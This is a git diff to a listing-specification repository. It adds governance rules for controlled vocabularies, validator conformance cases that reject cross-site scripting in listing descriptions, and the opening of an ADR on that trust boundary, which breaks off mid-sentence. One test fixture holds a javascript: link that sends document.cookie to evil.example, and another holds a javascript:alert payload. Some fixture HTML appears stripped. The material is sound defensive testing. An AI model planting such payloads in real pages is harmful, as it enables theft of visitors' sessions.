diff --git a/CLAUDE.md b/CLAUDE.md index 22ea178..5e5e300 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -83,5 +83,7 @@ now rejects both, but the seeding still shows in the prose: some `description` text uses platform vocabulary (`snapshot compute`) that a reader outside `musher-dev/platform` cannot resolve. Compute Profile slugs used to be on that list; blueprint §4.3 now carries the grammar and names where the vocabulary is -published, per docs/adr/0003. Only `listing/v1/spec.md` still carries `TODO` -sections — they are what keeps v1 pre-stable. +published, per docs/adr/0003. No `spec.md` carries a `TODO` section any longer — +listing §4.1 and §4.2 closed the last two, per docs/adr/0004 and GOVERNANCE.md → +Changing a controlled vocabulary. What is left in each family's Known debt is a +gap recorded where it applies, not an unanswered question. diff --git a/GOVERNANCE.md b/GOVERNANCE.md index 8f4d3d5..f89187e 100644 --- a/GOVERNANCE.md +++ b/GOVERNANCE.md @@ -58,6 +58,55 @@ Any change that would cause a previously valid document to fail validation is a Adding a required field, narrowing an enum, tightening a pattern, and removing a field are all breaking. Adding an optional field is not. +## Changing a controlled vocabulary + +A field whose value comes from a closed `enum` is a controlled vocabulary this +repository decides — [ADR 0003](docs/adr/0003-controlled-vocabulary-placement.md) +§1 calls it placement one. Adding a term is a minor release; removing one is +breaking, and therefore a new major. + +That asymmetry is the whole problem. Growth is cheap in every individual case +and irreversible in aggregate, so the rule below is editorial rather than +technical: nothing in CI can fail a term that is merely a bad idea. + +### An open taxonomy: listing `category` + +A candidate term must justify itself **against the terms that already exist**, +and the proposing pull request must say so in three parts: + +1. **Which existing terms it was tested against**, and why each is wrong for the + listings it is meant to hold. A term proposed without this reads as an + addition; with it, it reads as a gap. +2. **That it is how a buyer browses, not what the software is built with.** A + category answers "what am I looking for". The technology an item is made of + is what `tags` carries, and a term that would have been a good tag is not a + category. +3. **That it is not a subset of an existing term.** A term that splits an + existing one in two makes both less useful, because a listing that could sit + in either now sits in whichever its author picked. + +Approval is one maintainer, as for any ordinary change. What is not ordinary is +that a reviewer is expected to reject a well-formed term on editorial grounds — +a taxonomy is judged by what it excludes, and twenty categories is a taxonomy +while sixty is a list with none. + +**There is no numeric ceiling, and the reason is worth stating.** A cap would be +honoured only by refusing every candidate once it was reached, because the +alternative — merging two terms to make room — is a removal and therefore a new +major. A limit that cannot be enforced within the major it applies to is a limit +in name, and it would displace the judgement that actually does the work. + +### A closed progression: listing `lifecycleStage` + +`lifecycleStage` is not a taxonomy and does not share the rule above. It is a +short ordered progression describing maturity, and its terms are not +alternatives an author chooses between on taste — each one makes a claim about +the item that the storefront acts on. + +Adding a stage therefore changes what the storefront *means*, not how it sorts, +and needs an **accepted ADR** rather than the admission test. The same is true +of any other vocabulary of this shape. + ## Release process Releases are automated. Merging a Conventional Commit to `main` opens a diff --git a/conformance/listing/v1/cases.json b/conformance/listing/v1/cases.json index 6118cc5..56958e4 100644 --- a/conformance/listing/v1/cases.json +++ b/conformance/listing/v1/cases.json @@ -72,6 +72,16 @@ "phase": "structural", "path": "structural/010-media-paths" }, + { + "id": "structural-011-url-field-disallowed-scheme", + "phase": "structural", + "path": "structural/011-url-field-disallowed-scheme" + }, + { + "id": "structural-012-support-url-mailto", + "phase": "structural", + "path": "structural/012-support-url-mailto" + }, { "id": "semantic-001-duplicate-screenshot-basename", "phase": "semantic", @@ -106,6 +116,26 @@ "id": "semantic-007-component-item-version-independent", "phase": "semantic", "path": "semantic/007-component-item-version-independent" + }, + { + "id": "semantic-008-description-raw-html", + "phase": "semantic", + "path": "semantic/008-description-raw-html" + }, + { + "id": "semantic-009-description-html-in-code-fence", + "phase": "semantic", + "path": "semantic/009-description-html-in-code-fence" + }, + { + "id": "semantic-010-description-javascript-url", + "phase": "semantic", + "path": "semantic/010-description-javascript-url" + }, + { + "id": "semantic-011-description-remote-image", + "phase": "semantic", + "path": "semantic/011-description-remote-image" } ] } diff --git a/conformance/listing/v1/semantic/008-description-raw-html/case.yaml b/conformance/listing/v1/semantic/008-description-raw-html/case.yaml new file mode 100644 index 0000000..9aa839d --- /dev/null +++ b/conformance/listing/v1/semantic/008-description-raw-html/case.yaml @@ -0,0 +1,25 @@ +# A listing is authored by a third party and rendered by the storefront, so the +# description is untrusted content in a first-party origin. Raw HTML is the +# direct script-execution vector, and CommonMark permits it by default — which +# is why §4.1 narrows the profile rather than naming CommonMark and stopping. +# +# Both forms appear here: an HTML block (CommonMark §4.6) and raw inline HTML +# (§6.6). One diagnostic is declared; the runner permits the second. +specVersion: v1 +kind: LISTING +metadata: + slug: postgres + version: 1 +spec: + listingKind: COMPONENT + displayName: PostgreSQL + summary: The open-source relational database + category: INFRASTRUCTURE + lifecycleStage: STABLE + description: | + ## What it is + +
+ + A relational database with an interesting + reputation. diff --git a/conformance/listing/v1/semantic/008-description-raw-html/diagnostics.json b/conformance/listing/v1/semantic/008-description-raw-html/diagnostics.json new file mode 100644 index 0000000..6e20a57 --- /dev/null +++ b/conformance/listing/v1/semantic/008-description-raw-html/diagnostics.json @@ -0,0 +1,6 @@ +[ + { + "code": "ERR_RAW_HTML", + "path": "/spec/description" + } +] diff --git a/conformance/listing/v1/semantic/008-description-raw-html/metadata.json b/conformance/listing/v1/semantic/008-description-raw-html/metadata.json new file mode 100644 index 0000000..5e28ac5 --- /dev/null +++ b/conformance/listing/v1/semantic/008-description-raw-html/metadata.json @@ -0,0 +1,7 @@ +{ + "id": "semantic-008-description-raw-html", + "phase": "semantic", + "expected": "fail", + "clause": "specifications/listing/v1/spec.md#description-markdown", + "summary": "A description containing raw HTML is rejected." +} diff --git a/conformance/listing/v1/semantic/009-description-html-in-code-fence/case.yaml b/conformance/listing/v1/semantic/009-description-html-in-code-fence/case.yaml new file mode 100644 index 0000000..e6f1262 --- /dev/null +++ b/conformance/listing/v1/semantic/009-description-html-in-code-fence/case.yaml @@ -0,0 +1,36 @@ +# The regression pin for §4.1's "a code fence is not raw HTML". +# +# A listing for anything embeddable documents the snippet its users have to +# paste, and that snippet is HTML. CommonMark tokenises a code span and a fenced +# code block as their own constructs — never `html_block` or `html_inline` — so +# the rule is written in CommonMark's terms rather than as a search for angle +# brackets. A lexical rule would reject this document, and the authors it +# rejected would be the ones writing honest documentation. +# +# The same ` +
+ ``` + + Set `` to your instance, then see the + [configuration guide](https://www.postgresql.org/docs/) or jump to + [#defaults](#defaults) below. diff --git a/conformance/listing/v1/semantic/009-description-html-in-code-fence/metadata.json b/conformance/listing/v1/semantic/009-description-html-in-code-fence/metadata.json new file mode 100644 index 0000000..bf9a771 --- /dev/null +++ b/conformance/listing/v1/semantic/009-description-html-in-code-fence/metadata.json @@ -0,0 +1,7 @@ +{ + "id": "semantic-009-description-html-in-code-fence", + "phase": "semantic", + "expected": "pass", + "clause": "specifications/listing/v1/spec.md#description-markdown", + "summary": "HTML inside a code span or fenced code block is not raw HTML, and is accepted." +} diff --git a/conformance/listing/v1/semantic/010-description-javascript-url/case.yaml b/conformance/listing/v1/semantic/010-description-javascript-url/case.yaml new file mode 100644 index 0000000..0a6bff8 --- /dev/null +++ b/conformance/listing/v1/semantic/010-description-javascript-url/case.yaml @@ -0,0 +1,24 @@ +# Forbidding raw HTML alone would not close the surface: a `javascript:` URL is +# script execution wearing an ordinary Markdown link, and the document holding +# one contains no HTML at all. +# +# The link is spelled as a reference definition rather than inline, because the +# rule is about the destination a link resolves to and not about the syntax that +# spells it. +specVersion: v1 +kind: LISTING +metadata: + slug: postgres + version: 1 +spec: + listingKind: COMPONENT + displayName: PostgreSQL + summary: The open-source relational database + category: INFRASTRUCTURE + lifecycleStage: STABLE + description: | + ## Getting started + + [Run the setup wizard][wizard] to configure your first database. + + [wizard]: javascript:fetch('https://evil.example/'+document.cookie) diff --git a/conformance/listing/v1/semantic/010-description-javascript-url/diagnostics.json b/conformance/listing/v1/semantic/010-description-javascript-url/diagnostics.json new file mode 100644 index 0000000..3345e0e --- /dev/null +++ b/conformance/listing/v1/semantic/010-description-javascript-url/diagnostics.json @@ -0,0 +1,6 @@ +[ + { + "code": "ERR_DISALLOWED_SCHEME", + "path": "/spec/description" + } +] diff --git a/conformance/listing/v1/semantic/010-description-javascript-url/metadata.json b/conformance/listing/v1/semantic/010-description-javascript-url/metadata.json new file mode 100644 index 0000000..57a8006 --- /dev/null +++ b/conformance/listing/v1/semantic/010-description-javascript-url/metadata.json @@ -0,0 +1,7 @@ +{ + "id": "semantic-010-description-javascript-url", + "phase": "semantic", + "expected": "fail", + "clause": "specifications/listing/v1/spec.md#description-markdown", + "summary": "A description link using a scheme outside the permitted set is rejected." +} diff --git a/conformance/listing/v1/semantic/011-description-remote-image/case.yaml b/conformance/listing/v1/semantic/011-description-remote-image/case.yaml new file mode 100644 index 0000000..4f62872 --- /dev/null +++ b/conformance/listing/v1/semantic/011-description-remote-image/case.yaml @@ -0,0 +1,26 @@ +# A remote image executes nothing. It discloses every storefront viewer's IP +# address and user agent to a host the listing author chose, on every page view, +# with no interaction — a per-view beacon pointed at people who have no +# relationship with the author. +# +# §5 already fixed `media/` as the one directory an item ships assets from, so a +# description image is held to the same grammar and a remote one is unspellable +# rather than merely discouraged. The badge below is the shape this rejects in +# practice, and rejecting it is the deliberate cost. +specVersion: v1 +kind: LISTING +metadata: + slug: postgres + version: 1 +spec: + listingKind: COMPONENT + displayName: PostgreSQL + summary: The open-source relational database + category: INFRASTRUCTURE + lifecycleStage: STABLE + description: | + ## PostgreSQL + + ![build status](https://img.shields.io/badge/build-passing-green.svg) + + A relational database. diff --git a/conformance/listing/v1/semantic/011-description-remote-image/diagnostics.json b/conformance/listing/v1/semantic/011-description-remote-image/diagnostics.json new file mode 100644 index 0000000..22f9060 --- /dev/null +++ b/conformance/listing/v1/semantic/011-description-remote-image/diagnostics.json @@ -0,0 +1,6 @@ +[ + { + "code": "ERR_IMAGE_NOT_LOCAL", + "path": "/spec/description" + } +] diff --git a/conformance/listing/v1/semantic/011-description-remote-image/metadata.json b/conformance/listing/v1/semantic/011-description-remote-image/metadata.json new file mode 100644 index 0000000..0f56547 --- /dev/null +++ b/conformance/listing/v1/semantic/011-description-remote-image/metadata.json @@ -0,0 +1,7 @@ +{ + "id": "semantic-011-description-remote-image", + "phase": "semantic", + "expected": "fail", + "clause": "specifications/listing/v1/spec.md#description-markdown", + "summary": "A description image that is not an item media path is rejected." +} diff --git a/conformance/listing/v1/structural/011-url-field-disallowed-scheme/case.yaml b/conformance/listing/v1/structural/011-url-field-disallowed-scheme/case.yaml new file mode 100644 index 0000000..443581a --- /dev/null +++ b/conformance/listing/v1/structural/011-url-field-disallowed-scheme/case.yaml @@ -0,0 +1,17 @@ +# `javascript:` in `homepageUrl` is the same stored injection as `javascript:` +# in a description link, and a storefront renders both. The scheme rule is one +# rule with two placements: a `pattern` here, because a scalar field is +# something JSON Schema can decide offline, and a semantic check inside the +# description, because no pattern can parse Markdown. +specVersion: v1 +kind: LISTING +metadata: + slug: postgres + version: 1 +spec: + listingKind: COMPONENT + displayName: PostgreSQL + summary: The open-source relational database + category: INFRASTRUCTURE + lifecycleStage: STABLE + homepageUrl: javascript:alert(document.domain) diff --git a/conformance/listing/v1/structural/011-url-field-disallowed-scheme/diagnostics.json b/conformance/listing/v1/structural/011-url-field-disallowed-scheme/diagnostics.json new file mode 100644 index 0000000..dcf9885 --- /dev/null +++ b/conformance/listing/v1/structural/011-url-field-disallowed-scheme/diagnostics.json @@ -0,0 +1,6 @@ +[ + { + "code": "ERR_INVALID_VALUE", + "path": "/spec/homepageUrl" + } +] diff --git a/conformance/listing/v1/structural/011-url-field-disallowed-scheme/metadata.json b/conformance/listing/v1/structural/011-url-field-disallowed-scheme/metadata.json new file mode 100644 index 0000000..e9b2e2b --- /dev/null +++ b/conformance/listing/v1/structural/011-url-field-disallowed-scheme/metadata.json @@ -0,0 +1,7 @@ +{ + "id": "structural-011-url-field-disallowed-scheme", + "phase": "structural", + "expected": "fail", + "clause": "specifications/listing/v1/spec.md#presentation", + "summary": "A scalar URL field using a scheme outside the permitted set is rejected." +} diff --git a/conformance/listing/v1/structural/012-support-url-mailto/case.yaml b/conformance/listing/v1/structural/012-support-url-mailto/case.yaml new file mode 100644 index 0000000..c01e98b --- /dev/null +++ b/conformance/listing/v1/structural/012-support-url-mailto/case.yaml @@ -0,0 +1,19 @@ +# The other half of structural-011. The scheme set is three terms, not one, and +# each is here for a reason worth pinning: `mailto:` because a support address +# is a plausible value for supportUrl, and `http` because rejecting it would +# reject projects whose homepage is not yet served over TLS — a judgement about +# someone else's infrastructure rather than about this document. +specVersion: v1 +kind: LISTING +metadata: + slug: postgres + version: 1 +spec: + listingKind: COMPONENT + displayName: PostgreSQL + summary: The open-source relational database + category: INFRASTRUCTURE + lifecycleStage: STABLE + homepageUrl: https://www.postgresql.org + sourceRepoUrl: http://git.postgresql.org/git/postgresql.git + supportUrl: mailto:support@example.com diff --git a/conformance/listing/v1/structural/012-support-url-mailto/metadata.json b/conformance/listing/v1/structural/012-support-url-mailto/metadata.json new file mode 100644 index 0000000..30468ea --- /dev/null +++ b/conformance/listing/v1/structural/012-support-url-mailto/metadata.json @@ -0,0 +1,7 @@ +{ + "id": "structural-012-support-url-mailto", + "phase": "structural", + "expected": "pass", + "clause": "specifications/listing/v1/spec.md#presentation", + "summary": "The permitted scheme set includes mailto, and http alongside https." +} diff --git a/docs/adr/0004-listing-description-trust-boundary.md b/docs/adr/0004-listing-description-trust-boundary.md new file mode 100644 index 0000000..208cd2d --- /dev/null +++ b/docs/adr/0004-listing-description-trust-boundary.md @@ -0,0 +1,174 @@ +# ADR 0004: The trust boundary around a listing description + +- **Status:** Accepted +- **Date:** 2026-08-17 +- **Extends:** [ADR 0001](0001-canonical-repository-architecture.md) §6 + +## Context + +`spec.description` on a listing document is Markdown, bounded only at 20 000 +characters. It is written by whoever publishes the item and rendered by the +storefront, which means it is third-party content displayed in a first-party +origin — the classic shape of a stored cross-site scripting vulnerability. + +Nothing constrains it today. CommonMark permits raw HTML by design, so a +conforming listing may contain `